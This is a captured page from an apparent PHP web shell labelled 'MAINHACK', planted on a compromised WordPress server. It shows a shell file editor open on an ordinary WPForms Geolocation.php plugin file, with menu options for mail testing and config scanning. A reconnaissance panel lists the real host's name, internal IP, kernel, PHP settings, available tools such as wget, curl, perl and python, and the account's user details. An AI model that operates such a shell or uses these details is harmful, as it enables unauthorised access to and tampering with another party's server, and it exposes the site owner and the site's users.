[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Geolocation.php
<?php namespace WPForms\Admin\Education\Builder; use WPForms\Admin\Education\AddonsItemBase; use WPForms\Admin\Education\Helpers; /** * Builder/Geolocation Education feature for Lite and Pro. * * @since 1.6.6 */ class Geolocation extends AddonsItemBase { /** * Indicate if the current Education feature is allowed to load. * * @since 1.6.6 * * @return bool * * @noinspection ReturnTypeCanBeDeclaredInspection * @noinspection PhpMissingReturnTypeInspection */ public function allow_load() { return wpforms_is_admin_page( 'builder' ) || wp_doing_ajax(); } /** * Hooks. * * @since 1.6.6 * * @noinspection ReturnTypeCanBeDeclaredInspection */ public function hooks() { add_action( 'wpforms_field_options_bottom_advanced-options', [ $this, 'geolocation_options' ], 10, 2 ); } /** * Display geolocation options. * * @since 1.6.6 * * @param array $field Field data. * @param object $instance Builder instance. * * @noinspection ReturnTypeCanBeDeclaredInspection * @noinspection PhpMissingParamTypeInspection */ public function geolocation_options( $field, $instance ) { if ( ! in_array( $field['type'], [ 'text', 'address' ], true ) ) { return; } $addon = $this->addons->get_addon( 'geolocation' ); if ( empty( $addon ) || empty( $addon['action'] ) || empty( $addon['status'] ) || ( $addon['status'] === 'active' && $addon['action'] !== 'upgrade' ) ) { return; } $row_args = $this->get_address_autocomplete_row_attributes( $addon ); $row_args['content'] = $instance->field_element( 'toggle', $field, $this->get_address_autocomplete_field_attributes( $addon ), false ); $instance->field_element( 'row', $field, $row_args ); } /** * Get attributes for address autocomplete row. * * @since 1.6.6 * * @param array $addon Current addon information. * * @return array */ private function get_address_autocomplete_row_attributes( array $addon ): array { $data = $this->prepare_field_action_data( $addon ); $default = [ 'slug' => 'enable_address_autocomplete', ]; if ( ! empty( $data ) ) { return wp_parse_args( $data, $default ); } return wp_parse_args( [ 'data' => [ 'action' => 'upgrade', 'name' => esc_html__( 'Address Autocomplete', 'wpforms-lite' ), 'utm-content' => 'Address Autocomplete', 'licence' => 'pro', 'message' => esc_html__( 'We\'re sorry, Address Autocomplete is part of the Geolocation Addon and not available on your plan. Please upgrade to the PRO plan to unlock all these awesome features.', 'wpforms-lite' ), ], 'class' => 'education-modal', ], $default ); } /** * Get attributes for address autocomplete field. * * @since 1.6.6 * * @param array $addon Current addon information. * * @return array */ private function get_address_autocomplete_field_attributes( array $addon ): array { $default = [ 'slug' => 'enable_address_autocomplete', 'value' => '0', 'desc' => esc_html__( 'Enable Address Autocomplete', 'wpforms-lite' ), ]; if ( $addon['plugin_allow'] ) { return $default; } return wp_parse_args( [ 'desc' => sprintf( '%1$s%2$s', esc_html__( 'Enable Address Autocomplete', 'wpforms-lite' ), Helpers::get_badge( 'Pro', 'sm', 'inline', 'slate' ) ), 'attrs' => [ 'disabled' => 'disabled', ], ], $default ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697